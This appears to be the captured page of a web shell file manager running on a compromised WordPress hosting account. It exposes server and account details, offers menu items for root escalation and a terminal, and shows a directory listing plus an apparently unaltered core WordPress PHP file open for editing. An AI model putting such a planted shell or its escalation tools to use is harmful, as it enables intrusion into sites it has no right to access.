Linux premium256.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
LiteSpeed
Server IP : 162.0.217.164 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : niyknzcu
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
niyknzcu /
codershive.in /
wp-includes /
blocks /
Delete
Unzip
Name
Size
Permission
Date
Action
archives
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
audio
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
avatar
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
block
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
button
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
buttons
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
calendar
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
categories
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
code
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
column
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
columns
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comment-author-name
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comment-content
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comment-date
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comment-edit-link
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comment-reply-link
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comment-template
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comments
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comments-pagination
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comments-pagination-next
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comments-pagination-numbers
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comments-pagination-previous
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
comments-title
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
cover
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
details
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
embed
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
file
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
footnotes
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
freeform
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
gallery
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
group
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
heading
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
home-link
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
html
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
image
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
latest-comments
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
latest-posts
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
legacy-widget
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
list
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
list-item
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
loginout
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
media-text
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
missing
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
more
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
navigation
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
navigation-link
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
navigation-submenu
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
nextpage
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
page-list
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
page-list-item
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
paragraph
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
pattern
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
post-author
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
post-author-biography
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
post-author-name
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
post-comments-form
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
post-content
[ DIR ]
drwxr-xr-x
2024-04-02 21:52
post-date
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
post-excerpt
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
post-featured-image
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
post-navigation-link
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
post-template
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
post-terms
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
post-title
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
preformatted
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
pullquote
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
query
[ DIR ]
drwxr-xr-x
2024-04-02 21:52
query-no-results
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
query-pagination
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
query-pagination-next
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
query-pagination-numbers
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
query-pagination-previous
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
query-title
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
quote
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
read-more
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
rss
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
search
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
separator
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
shortcode
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
site-logo
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
site-tagline
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
site-title
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
social-link
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
social-links
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
spacer
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
table
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
tag-cloud
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
template-part
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
term-description
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
text-columns
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
verse
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
video
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
widget-group
[ DIR ]
drwxr-xr-x
2024-02-16 09:34
archives.php
2.89
KB
-rw-r--r--
2023-02-07 17:34
avatar.php
5.51
KB
-rw-r--r--
2024-04-09 23:08
block.php
2.99
KB
-rw-r--r--
2024-04-02 21:52
blocks-json.php
167.85
KB
-rw-r--r--
2024-04-02 21:52
calendar.php
5.71
KB
-rw-r--r--
2024-04-02 21:52
categories.php
2.81
KB
-rw-r--r--
2024-04-02 21:52
comment-author-name.php
2.05
KB
-rw-r--r--
2023-02-07 17:34
comment-content.php
2.36
KB
-rw-r--r--
2023-02-07 17:34
comment-date.php
1.56
KB
-rw-r--r--
2023-02-07 17:34
comment-edit-link.php
1.64
KB
-rw-r--r--
2023-02-07 17:34
comment-reply-link.php
1.99
KB
-rw-r--r--
2023-02-07 17:34
comment-template.php
4.35
KB
-rw-r--r--
2023-09-26 23:53
comments-pagination-next.php
1.81
KB
-rw-r--r--
2023-09-26 23:53
comments-pagination-numbers.php
1.56
KB
-rw-r--r--
2022-04-13 00:42
comments-pagination-previous.php
1.61
KB
-rw-r--r--
2023-09-26 23:53
comments-pagination.php
1.13
KB
-rw-r--r--
2023-02-07 17:34
comments-title.php
2.67
KB
-rw-r--r--
2022-09-21 01:13
comments.php
6.47
KB
-rw-r--r--
2023-06-27 23:54
cover.php
2.45
KB
-rw-r--r--
2023-06-28 00:05
error_log
19.75
KB
-rw-r--r--
2026-01-06 02:15
file.php
2.41
KB
-rw-r--r--
2024-04-02 21:52
footnotes.php
3.68
KB
-rw-r--r--
2024-04-02 21:52
gallery.php
6.23
KB
-rw-r--r--
2024-04-02 21:52
heading.php
1.23
KB
-rw-r--r--
2023-02-07 17:34
home-link.php
5.51
KB
-rw-r--r--
2024-04-02 21:52
image.php
10.54
KB
-rw-r--r--
2024-04-02 21:52
index.php
4.48
KB
-rw-r--r--
2023-10-31 21:29
latest-comments.php
4.88
KB
-rw-r--r--
2022-04-13 00:42
latest-posts.php
8.17
KB
-rw-r--r--
2023-10-10 21:00
legacy-widget.php
3.81
KB
-rw-r--r--
2022-10-18 23:26
loginout.php
1.35
KB
-rw-r--r--
2021-11-09 00:59
navigation-link.php
12.88
KB
-rw-r--r--
2024-04-02 21:52
navigation-submenu.php
8.81
KB
-rw-r--r--
2023-09-26 23:53
navigation.php
57.24
KB
-rw-r--r--
2024-04-02 21:52
page-list-item.php
342
B
-rw-r--r--
2023-06-27 23:54
page-list.php
13.14
KB
-rw-r--r--
2023-06-27 23:54
pattern.php
2.12
KB
-rw-r--r--
2024-04-02 21:52
post-author-biography.php
1.41
KB
-rw-r--r--
2022-04-13 00:42
post-author-name.php
1.71
KB
-rw-r--r--
2023-02-07 17:34
post-author.php
2.51
KB
-rw-r--r--
2023-06-27 23:54
post-comments-form.php
2.68
KB
-rw-r--r--
2023-02-07 17:34
post-content.php
2.07
KB
-rw-r--r--
2023-09-26 23:53
post-date.php
2.29
KB
-rw-r--r--
2023-06-27 23:54
post-excerpt.php
3.33
KB
-rw-r--r--
2023-09-26 23:53
post-featured-image.php
8.83
KB
-rw-r--r--
2024-04-02 21:52
post-navigation-link.php
4.69
KB
-rw-r--r--
2024-04-02 21:52
post-template.php
5.52
KB
-rw-r--r--
2023-09-26 23:53
post-terms.php
3.55
KB
-rw-r--r--
2024-04-02 21:52
post-title.php
2.03
KB
-rw-r--r--
2024-04-02 21:52
query-no-results.php
1.71
KB
-rw-r--r--
2023-09-26 23:53
query-pagination-next.php
3.6
KB
-rw-r--r--
2024-04-02 21:52
query-pagination-numbers.php
4.57
KB
-rw-r--r--
2024-04-02 21:52
query-pagination-previous.php
3.06
KB
-rw-r--r--
2024-04-02 21:52
query-pagination.php
1.11
KB
-rw-r--r--
2023-02-07 17:34
query-title.php
2.01
KB
-rw-r--r--
2023-06-27 23:54
query.php
6.15
KB
-rw-r--r--
2024-04-02 21:52
read-more.php
1.75
KB
-rw-r--r--
2023-02-07 23:30
require-dynamic-blocks.php
3.85
KB
-rw-r--r--
2023-11-01 02:47
require-static-blocks.php
536
B
-rw-r--r--
2023-06-27 23:54
rss.php
3.83
KB
-rw-r--r--
2023-02-07 17:34
search.php
22.79
KB
-rw-r--r--
2024-04-02 21:52
shortcode.php
697
B
-rw-r--r--
2020-06-26 23:03
site-logo.php
5.79
KB
-rw-r--r--
2023-06-27 23:54
site-tagline.php
994
B
-rw-r--r--
2021-06-22 19:30
site-title.php
1.73
KB
-rw-r--r--
2023-02-07 17:34
social-link.php
62.16
KB
-rw-r--r--
2024-04-02 21:52
tag-cloud.php
1.37
KB
-rw-r--r--
2023-02-07 17:34
template-part.php
9.71
KB
-rw-r--r--
2024-06-24 22:38
term-description.php
1.27
KB
-rw-r--r--
2023-02-07 17:34
widget-group.php
2.12
KB
-rw-r--r--
2022-10-18 23:26
Save
Rename
<?php /** * Server-side rendering of the `core/post-navigation-link` block. * * @package WordPress */ /** * Renders the `core/post-navigation-link` block on the server. * * @param array $attributes Block attributes. * @param string $content Block default content. * * @return string Returns the next or previous post link that is adjacent to the current post. */ function render_block_core_post_navigation_link( $attributes, $content ) { if ( ! is_singular() ) { return ''; } // Get the navigation type to show the proper link. Available options are `next|previous`. $navigation_type = isset( $attributes['type'] ) ? $attributes['type'] : 'next'; // Allow only `next` and `previous` in `$navigation_type`. if ( ! in_array( $navigation_type, array( 'next', 'previous' ), true ) ) { return ''; } $classes = "post-navigation-link-$navigation_type"; if ( isset( $attributes['textAlign'] ) ) { $classes .= " has-text-align-{$attributes['textAlign']}"; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes, ) ); // Set default values. $format = '%link'; $link = 'next' === $navigation_type ? _x( 'Next', 'label for next post link' ) : _x( 'Previous', 'label for previous post link' ); $label = ''; // Only use hardcoded values here, otherwise we need to add escaping where these values are used. $arrow_map = array( 'none' => '', 'arrow' => array( 'next' => '→', 'previous' => '←', ), 'chevron' => array( 'next' => '»', 'previous' => '«', ), ); // If a custom label is provided, make this a link. // `$label` is used to prepend the provided label, if we want to show the page title as well. if ( isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ) { $label = "{$attributes['label']}"; $link = $label; } // If we want to also show the page title, make the page title a link and prepend the label. if ( isset( $attributes['showTitle'] ) && $attributes['showTitle'] ) { /* * If the label link option is not enabled but there is a custom label, * display the custom label as text before the linked title. */ if ( ! $attributes['linkLabel'] ) { if ( $label ) { $format = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> %link'; } $link = '%title'; } elseif ( isset( $attributes['linkLabel'] ) && $attributes['linkLabel'] ) { // If the label link option is enabled and there is a custom label, display it before the title. if ( $label ) { $link = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> <span class="post-navigation-link__title">%title</span>'; } else { /* * If the label link option is enabled and there is no custom label, * add a colon between the label and the post title. */ $label = 'next' === $navigation_type ? _x( 'Next:', 'label before the title of the next post' ) : _x( 'Previous:', 'label before the title of the previous post' ); $link = sprintf( '<span class="post-navigation-link__label">%1$s</span> <span class="post-navigation-link__title">%2$s</span>', wp_kses_post( $label ), '%title' ); } } } // Display arrows. if ( isset( $attributes['arrow'] ) && 'none' !== $attributes['arrow'] && isset( $arrow_map[ $attributes['arrow'] ] ) ) { $arrow = $arrow_map[ $attributes['arrow'] ][ $navigation_type ]; if ( 'next' === $navigation_type ) { $format = '%link<span class="wp-block-post-navigation-link__arrow-next is-arrow-' . $attributes['arrow'] . '" aria-hidden="true">' . $arrow . '</span>'; } else { $format = '<span class="wp-block-post-navigation-link__arrow-previous is-arrow-' . $attributes['arrow'] . '" aria-hidden="true">' . $arrow . '</span>%link'; } } /* * The dynamic portion of the function name, `$navigation_type`, * Refers to the type of adjacency, 'next' or 'previous'. * * @see https://developer.wordpress.org/reference/functions/get_previous_post_link/ * @see https://developer.wordpress.org/reference/functions/get_next_post_link/ */ $get_link_function = "get_{$navigation_type}_post_link"; if ( ! empty( $attributes['taxonomy'] ) ) { $content = $get_link_function( $format, $link, true, '', $attributes['taxonomy'] ); } else { $content = $get_link_function( $format, $link ); } return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content ); } /** * Registers the `core/post-navigation-link` block on the server. */ function register_block_core_post_navigation_link() { register_block_type_from_metadata( __DIR__ . '/post-navigation-link', array( 'render_callback' => 'render_block_core_post_navigation_link', ) ); } add_action( 'init', 'register_block_core_post_navigation_link' );